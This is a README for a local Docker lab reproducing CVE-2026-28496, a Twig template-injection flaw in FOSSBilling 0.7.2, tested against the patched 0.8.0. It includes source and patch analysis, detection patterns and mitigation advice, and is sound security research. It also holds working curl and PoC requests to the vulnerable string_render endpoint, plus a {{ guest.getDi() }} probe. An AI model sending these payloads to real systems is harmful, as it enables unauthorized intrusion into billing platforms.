Exploit for CVE-2026-28496

## https://sploitus.com/exploit?id=AAF2A134-2B57-5561-9F7C-FCB30165A305
# CVE-2026-28496 - FOSSBilling Server-Side Template Injection in Twig Rendering

## Executive Summary

This repository contains a local Docker lab for reproducing and validating CVE-2026-28496, a Server-Side Template Injection vulnerability affecting FOSSBilling's Twig template rendering behavior.

FOSSBilling is a free and open-source billing and client management platform. Versions prior to 0.8.0 are affected by unsafe Twig template rendering behavior that can evaluate supplied template expressions. FOSSBilling 0.8.0 is used as the patched comparison target in this lab.

This lab compares two FOSSBilling versions:

| Service | FOSSBilling version | Purpose                      | URL                   |
| ------- | ------------------: | ---------------------------- | --------------------- |
| vuln    |               0.7.2 | Vulnerable comparison target | http://localhost:8081 |
| patched |               0.8.0 | Patched comparison target    | http://localhost:8082 |

The demonstrated HTTP validation path in this local lab is:

```text
Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab
→ POST /api/system/system/string_render
→ JSON body contains _tpl={{ 7*7 }}
→ vulnerable target renders the Twig expression
→ patched target does not expose the same tested API behavior
```

In the vulnerable target, the API call returns:

```json
{"result":"49","error":null}
```

In the patched target, the same request returns:

```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
```

This lab validates the vulnerable-versus-patched HTTP behavior using FOSSBilling 0.7.2 and FOSSBilling 0.8.0.

The lab is intentionally scoped to local Docker services. It does not target external systems and does not include web shells, malware, persistence, external callbacks, database dumping, or destructive payloads.

## Verified Facts

| Claim                                                                               | Evidence                                                                                                           | How to verify in this lab                                                              |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| CVE-2026-28496 affects FOSSBilling versions prior to 0.8.0.                         | Public CVE and advisory metadata identify FOSSBilling prior to 0.8.0 as affected by Twig SSTI.                     | Review the References section and compare the vulnerable and patched target versions.  |
| FOSSBilling 0.7.2 is used as the vulnerable comparison target.                      | The vulnerable service is built from the official `fossbilling/fossbilling:0.7.2` Docker image.                    | Inspect `vuln/Dockerfile` and run `docker compose ps -a`.                              |
| FOSSBilling 0.8.0 is used as the patched comparison target.                         | The patched service is built from the official `fossbilling/fossbilling:0.8.0` Docker image.                       | Inspect `patched/Dockerfile` and run `docker compose ps -a`.                           |
| The vulnerable HTTP path is `/api/system/system/string_render`.                     | The vulnerable target returns JSON with `result: "49"` for `_tpl={{ 7*7 }}`.                                       | Run `python3 poc/poc.py --url http://localhost:8081`.                                  |
| The patched target does not expose the same HTTP behavior.                          | The patched target returns `Unknown API call system/system/string_render`.                                         | Run `python3 poc/poc.py --url http://localhost:8082`.                                  |
| The PoC is HTTP-only.                                                               | `poc/poc.py` sends HTTP POST requests and does not call Docker, Docker Compose, shell commands, or container APIs. | Inspect `poc/poc.py`.                                                                  |
| The lab auto-installs both FOSSBilling targets during Docker Compose startup.       | The one-shot installer sidecar containers complete setup and exit with status 0.                                   | Run `docker compose ps -a` and `docker compose logs installer-vuln installer-patched`. |
| The vulnerable target renders the harmless Twig expression.                         | The HTTP response from port 8081 is `{"result":"49","error":null}`.                                                | Run the vulnerable PoC command.                                                        |
| The patched target does not render the same expression through the tested API path. | The HTTP response from port 8082 is a JSON API error with code `879`.                                              | Run the patched PoC command.                                                           |

## Assumptions and Unknowns

This lab uses FOSSBilling 0.7.2 as the vulnerable comparison target because public vulnerability research identifies FOSSBilling versions before 0.8.0 as affected, and 0.7.2 is the latest vulnerable release used in the tested chain.

This lab uses FOSSBilling 0.8.0 as the patched comparison target because public advisory metadata identifies 0.8.0 as the patched version.

This lab focuses on the observable HTTP behavior of:

```text
POST /api/system/system/string_render
```

with this JSON body:

```json
{"_tpl":"{{ 7*7 }}"}
```

The lab demonstrates that FOSSBilling 0.7.2 renders the supplied Twig expression through the HTTP API path, while FOSSBilling 0.8.0 does not expose the same API call.

This lab does not claim to test every FOSSBilling template rendering feature. CVE-2026-28496 also relates to other Twig rendering contexts, such as template rendering features available inside the application.

This lab does not demonstrate the full unauthenticated remote code execution chain. It validates the unauthenticated HTTP behavior observed in the local FOSSBilling 0.7.2 target and compares it with FOSSBilling 0.8.0. The full public chain involves additional API authorization behavior beyond the safe Twig expression validation shown here.

The lab does not demonstrate:

* remote command execution,
* credential extraction,
* database dumping,
* extension installation,
* arbitrary file write,
* persistence,
* web shell upload,
* external callbacks,
* attacks against non-lab systems,
* or post-exploitation activity.

## Root Cause Summary

The root cause of CVE-2026-28496 is unsafe Twig template rendering.

FOSSBilling uses Twig to render dynamic templates. In vulnerable versions, a supplied template string can be passed into Twig rendering logic without sufficient sandbox restrictions.

The vulnerable behavior can be summarized as:

```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response
```

For this harmless template expression:

```twig
{{ 7*7 }}
```

the vulnerable target evaluates the expression and returns:

```text
49
```

The security issue is not limited to arithmetic evaluation. Arithmetic evaluation is only the safe visible signal used in this lab.

The more security-sensitive problem is that unsandboxed Twig templates may access objects and methods exposed in the template context. Public research describes a higher-impact path where Twig template execution can reach application internals, including the dependency injection container, when suitable template context objects are available.

The simplified vulnerable model is:

```text
Template renderer
→ unsandboxed Twig expression
→ method/object access may be possible
→ application internals may become reachable
→ sensitive services may become reachable
```

The patched design in FOSSBilling 0.8.0 hardens the vulnerable behavior. In this lab, the patched target no longer exposes the tested API call:

```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
```

The security lesson is:

```text
Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.
```

## Source Code Analysis

The vulnerable HTTP behavior is backed by the source code path in FOSSBilling 0.7.2.

The API method receives `_tpl` from request data and passes it into the system service renderer.

Relevant vulnerable entry point:

```php
public function string_render($data)
{
    if (!isset($data['_tpl'])) {
        error_log('_tpl parameter not passed');
        return '';
    }

    $tpl = $data['_tpl'];
    $try_render = $data['_try'] ?? false;

    $vars = $data;
    unset($vars['_tpl'], $vars['_try']);

    return $this->getService()->renderString($tpl, $try_render, $vars);
}
```

The important data flow is:

```text
HTTP request body
→ _tpl
→ System\Api\Admin::string_render()
→ System\Service::renderString()
```

In FOSSBilling 0.7.2, `renderString()` attempts to load the supplied value as a template name. If that fails, it treats the supplied value as a template string and passes it into `createTemplateFromString()`.

Simplified vulnerable flow:

```php
public function renderString($tpl, $try_render, $vars)
{
    $twig = $this->di['twig'];

    try {
        $template = $twig->load($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception) {
        // $twig->load throws an exception when $tpl is a raw template string
        $parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
    }

    return $parsed;
}
```

The vulnerable sink is `createTemplateFromString()`:

```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
    try {
        $twig = $this->di['twig'];
        $template = $twig->createTemplate($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception $e) {
        $parsed = $tpl;

        if (!$try_render) {
            throw $e;
        }
    }

    return $parsed;
}
```

The security-relevant source pattern is:

```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side
```

This explains the vulnerable lab result:

```text
POST /api/system/system/string_render
{"_tpl":"{{ 7*7 }}"}
```

Vulnerable response:

```json
{"result":"49","error":null}
```

The value `49` proves that the supplied Twig expression was evaluated server-side.

The safe lab payload only uses arithmetic:

```twig
{{ 7*7 }}
```

However, the root cause is more security-sensitive than arithmetic expression evaluation. In vulnerable rendering contexts, Twig templates may interact with application objects that are present in the template environment. Public research describes higher-impact chains where API context objects can expose access to application internals such as the dependency injection container.

A source-level regression check confirmed the deeper behavior:

```text
FOSSBilling 0.7.2:
  {{ guest.getDi() }}
  → DI_VISIBLE

FOSSBilling 0.8.0:
  {{ guest.getDi() }}
  → blocked by Twig sandbox policy
```

This is why the vulnerability is best understood as unsafe template rendering, not merely a calculator-style expression evaluation bug.

## Source Patch Summary

FOSSBilling 0.8.0 changes the vulnerable behavior by hardening string rendering and removing the tested vulnerable HTTP behavior.

In the patched version, string rendering is routed through sandbox-aware rendering rather than directly rendering arbitrary template strings with broad Twig capabilities.

The patched service code calls a sandbox-aware renderer:

```php
$rendered = SandboxedStringRenderer::render(
    $twig,
    $tpl,
    $vars,
    $errorMessage
);
```

The sandboxed renderer creates and renders a template, but catches Twig sandbox violations and converts them into a controlled application error:

```php
final class SandboxedStringRenderer
{
    public static function render(
        Environment $twig,
        string $content,
        array $context = [],
        string $name = 'template'
    ): string {
        try {
            return $twig->createTemplate($content)->render($context);
        } catch (SecurityError $e) {
            throw new InformationException(
                '%name% contains disallowed Twig syntax: %error%',
                [
                    '%name%' => $name,
                    '%error%' => $e->getMessage(),
                ]
            );
        }
    }
}
```

The sandbox policy blocks method and property access by default:

```php
$methods = [];
$properties = [];
```

The security-relevant change is:

```text
Before:
  request-controlled template string
  → Twig createTemplate()
  → render without the patched sandbox boundary

After:
  template string rendering
  → SandboxedStringRenderer
  → Twig sandbox policy
  → method/property access denied by default
```

For the public HTTP API path tested in this lab, FOSSBilling 0.8.0 does not expose the same vulnerable API call:

```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
```

This gives two useful validation layers:

```text
HTTP behavior validation:
  0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
  0.8.0 does not expose the same API behavior.

Source/root-cause validation:
  0.7.2 allows unsafe Twig rendering behavior.
  0.8.0 introduces sandboxed string rendering and blocks method/property access.
```

The lab keeps these two layers separate:

```text
HTTP PoC result
  proves the vulnerable endpoint behavior.

Source patch review
  explains why unsafe Twig rendering was dangerous and how the patched version hardens it.
```

## Lab Architecture

The lab runs two isolated FOSSBilling installations through Docker Compose.

```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore
```

The two FOSSBilling services use separate databases and separate application versions:

| Service           | Component    | Version / Role                  |
| ----------------- | ------------ | ------------------------------- |
| vuln              | FOSSBilling  | vulnerable target application   |
| patched           | FOSSBilling  | patched target application      |
| vuln-db           | MariaDB      | database for vulnerable target  |
| patched-db        | MariaDB      | database for patched target     |
| installer-vuln    | curl sidecar | auto-installs vulnerable target |
| installer-patched | curl sidecar | auto-installs patched target    |

Default exposed services:

```text
Vulnerable target: http://localhost:8081
Patched target:    http://localhost:8082
```

The lab uses pinned FOSSBilling versions:

| Target                | FOSSBilling version | Expected behavior                                   |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 |               0.7.2 | renders `{{ 7*7 }}` through the vulnerable API path |
| http://localhost:8082 |               0.8.0 | does not expose the same vulnerable API behavior    |

The installer sidecars run automatically during `docker compose up`. They initialize both FOSSBilling targets with local disposable database credentials and then exit.

The lab does not create or modify the vulnerable API route.

The route `/api/system/system/string_render` is provided by the FOSSBilling application in the vulnerable 0.7.2 target after installation. The Docker lab only installs the application through its normal installer flow and then sends an HTTP request to the existing application endpoint.

The patched 0.8.0 target returns `Unknown API call system/system/string_render`, which confirms that the tested route behavior comes from the application version itself rather than from a lab-created route.

## Requirements

* Docker Desktop or Docker Engine
* Docker Compose v2
* Python 3
* Internet access during first Docker image pull

No Python third-party package is required. The PoC uses Python standard library modules only.

## Quick Start

Start the lab from a clean state:

```bash
docker compose down -v --remove-orphans
docker compose up -d --build
```

Check service status:

```bash
docker compose ps -a
```

Expected running services:

```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
```

Expected completed installer services:

```text
cve-2026-28496-installer-vuln      Exited (0)
cve-2026-28496-installer-patched   Exited (0)
```

Check installer logs:

```bash
docker compose logs installer-vuln installer-patched
```

Check the web applications:

```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```

Run HTTP validation against the vulnerable target:

```bash
python3 poc/poc.py --url http://localhost:8081
```

Run HTTP validation against the patched target:

```bash
python3 poc/poc.py --url http://localhost:8082
```

## PoC Usage

The PoC accepts one local FOSSBilling base URL:

```bash
python3 poc/poc.py --url 
```

Examples:

```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url http://127.0.0.1:8081
python3 poc/poc.py --url http://127.0.0.1:8082
```

The PoC sends this HTTP request:

```text
POST /api/system/system/string_render
Content-Type: application/json
```

Request body:

```json
{"_tpl":"{{ 7*7 }}"}
```

The PoC is HTTP-only. It does not call Docker, Docker Compose, shell commands, WP-CLI, or container APIs.

## Expected Results

### Vulnerable Target

Command:

```bash
python3 poc/poc.py --url http://localhost:8081
```

Expected vulnerable target signal:

```text
CVE-2026-28496 HTTP validation PoC
Scope: authorized local lab target only
URL: http://localhost:8081
Endpoint: http://localhost:8081/api/system/system/string_render
Template: {{ 7*7 }}

===== HTTP response =====
status=200
content-type=application/json; charset=utf-8
{"result":"49","error":null}

===== verdict =====
VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.
```

### Patched Target

Command:

```bash
python3 poc/poc.py --url http://localhost:8082
```

Expected patched target signal:

```text
CVE-2026-28496 HTTP validation PoC
Scope: authorized local lab target only
URL: http://localhost:8082
Endpoint: http://localhost:8082/api/system/system/string_render
Template: {{ 7*7 }}

===== HTTP response =====
status=400
content-type=application/json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

===== verdict =====
PATCHED/NOT REACHABLE: target did not render the supplied template.
```

The important difference is:

```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49

FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error
```

## How the Validation Works

The validator sends a single HTTP POST request to the FOSSBilling API endpoint:

```text
/api/system/system/string_render
```

The request body contains a harmless Twig expression:

```json
{"_tpl":"{{ 7*7 }}"}
```

Expected vulnerable behavior:

```text
HTTP 200 OK
JSON result is "49"
```

Expected patched behavior:

```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable
```

This confirms that the vulnerable target evaluates the supplied template server-side.

The PoC intentionally uses `{{ 7*7 }}` instead of a destructive payload. The goal is to prove the technical condition safely:

```text
attacker-controlled template input
+ server-side Twig evaluation
+ observable rendered output
```

For deeper source-level root-cause validation, method access is a stronger proof of the underlying issue. However, the public PoC in this repository uses the safer arithmetic expression to avoid demonstrating a high-impact chain.

## Manual HTTP Reproduction with curl

Vulnerable probe:

```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'
```

Expected result:

```text
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"result":"49","error":null}
```

Patched probe:

```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'
```

Expected result:

```text
HTTP/1.1 400 Bad Request
Content-Type: application/json

{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
```

## Impact

Server-Side Template Injection in a billing and client management platform is security-sensitive because the application may store customer records, billing data, server credentials, payment configuration, and administrator-controlled automation logic.

The demonstrated lab payload is harmless and only evaluates:

```twig
{{ 7*7 }}
```

However, the underlying class of vulnerability can be more serious when template execution has access to application objects, methods, or service containers.

Potential real-world impact, depending on configuration and reachable template context, may include:

* information disclosure,
* access to application internals,
* access to sensitive application services,
* modification of application state,
* and remote code execution when chained with a suitable execution path.

This lab demonstrates only the safe HTTP validation signal. It does not demonstrate credential access, database access, extension installation, command execution, or post-exploitation.

## Detection and Monitoring

Potential indicators include HTTP requests to the FOSSBilling API endpoint:

```text
/api/system/system/string_render
```

Suspicious request pattern:

```text
POST /api/system/system/string_render
Content-Type: application/json
```

Suspicious request body indicators:

```text
_tpl
{{
}}
Twig syntax
```

Example access log pattern:

```text
POST /api/system/system/string_render
```

Example JSON payload:

```json
{"_tpl":"{{ 7*7 }}"}
```

Recommended monitoring actions:

* Review web server access logs for `/api/system/system/string_render`.
* Review requests containing `_tpl` in JSON request bodies.
* Review requests containing Twig syntax such as `{{` and `}}`.
* Review successful API responses that contain rendered template output.
* Review failed API responses for suspicious template-rendering attempts.
* Review administrator activity if exploitation is suspected.
* Review template, email, mass mailer, and payment adapter configuration changes.
* Review application logs for template rendering errors or unexpected API calls.

High-signal detection idea:

```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"
```

Another high-signal local validation artifact:

```text
Request body:
  {"_tpl":"{{ 7*7 }}"}

Response body:
  {"result":"49","error":null}
```

## Mitigation and Patch Notes

Upgrade FOSSBilling to version 0.8.0 or later.

For production environments, update to the latest available release rather than stopping at the lab comparison version.

Recommended mitigation steps:

* Upgrade FOSSBilling to 0.8.0 or later.
* Confirm that the installed version is not in the affected range.
* Restrict public access to administrative API paths where possible.
* Review web access logs for requests to `/api/system/system/string_render`.
* Review templates, email templates, mass mailers, and custom payment adapters for suspicious Twig syntax.
* Rotate secrets if exploitation is suspected.
* Review customer, billing, payment, and server-management records for unauthorized access.
* Treat WAF rules or reverse proxy blocks as temporary controls, not as replacements for upgrading.

Security engineering lessons:

* Do not render untrusted template strings in a privileged application context.
* Do not expose application service containers to template contexts.
* Use sandboxed template rendering for user-controlled or administrator-controlled template features.
* Deny method and property access unless explicitly required.
* Keep API authorization failures explicit and fail closed.
* Treat template rendering features as code execution-adjacent surfaces.

## Useful Verification Commands

Check container status:

```bash
docker compose ps -a
```

Check installer logs:

```bash
docker compose logs installer-vuln installer-patched
```

Check web services:

```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```

Run vulnerable HTTP validation:

```bash
python3 poc/poc.py --url http://localhost:8081
```

Run patched HTTP validation:

```bash
python3 poc/poc.py --url http://localhost:8082
```

Manual vulnerable request:

```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'
```

Manual patched request:

```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'
```

Inspect vulnerable source flow from the checked-out source tree:

```bash
git checkout 0.7.2

grep -n "function string_render" -A30 src/modules/System/Api/Admin.php
grep -n "function renderString" -A70 src/modules/System/Service.php
grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php
```

Inspect patched sandbox renderer from the checked-out source tree:

```bash
git checkout 0.8.0

grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig
```

Save validation evidence:

```bash
mkdir -p evidence

python3 poc/poc.py --url http://localhost:8081 \
  | tee evidence/vulnerable-http-validation.txt

python3 poc/poc.py --url http://localhost:8082 \
  | tee evidence/patched-http-validation.txt

docker compose ps -a \
  | tee evidence/docker-compose-ps.txt

docker compose logs installer-vuln installer-patched \
  | tee evidence/installer-logs.txt
```

Check FOSSBilling response headers:

```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'
```

## Cleanup

Stop and remove containers and networks:

```bash
docker compose down --remove-orphans
```

Remove containers, networks, and volumes:

```bash
docker compose down -v --remove-orphans
```

Remove local evidence files if created:

```bash
rm -rf evidence/
```

## Safety Boundaries

This lab is for local security research and controlled demonstration only.

Do not run the PoC or manual curl requests against systems you do not own or do not have explicit authorization to test.

Do not use real production credentials, customer data, payment data, API keys, or production secrets in this lab.

The intended scope is limited to local Docker services such as:

```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
```

The PoC is intentionally HTTP-only and local-scope. It does not call Docker, Docker Compose, shell commands, WP-CLI, or container APIs.

The lab does not include payloads for:

* web shell upload,
* arbitrary command execution,
* persistence,
* lateral movement,
* credential theft,
* database dumping,
* customer data access,
* payment credential access,
* or external callbacks.

The goal is to demonstrate one specific technical condition in a controlled environment:

```text
HTTP request
+ FOSSBilling string_render API path
+ Twig template expression
+ vulnerable target renders the expression
+ patched target does not render the expression
```

## References

* CVE Record: CVE-2026-28496
  https://vulners.com/cve/CVE-2026-28496

* GitHub Advisory: GHSA-57mv-jm88-66jc
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

* VulnCheck: FOSSBilling Auth Bypass and Twig SSTI to Unauthenticated RCE
  https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

* FOSSBilling Docker Documentation
  https://docs.fossbilling.org/getting-started/docker/

* FOSSBilling GitHub Repository
  https://github.com/FOSSBilling/FOSSBilling

* FOSSBilling Docker Image
  https://hub.docker.com/r/fossbilling/fossbilling

* Twig Documentation: Sandbox Extension
  https://twig.symfony.com/doc/3.x/sandbox.html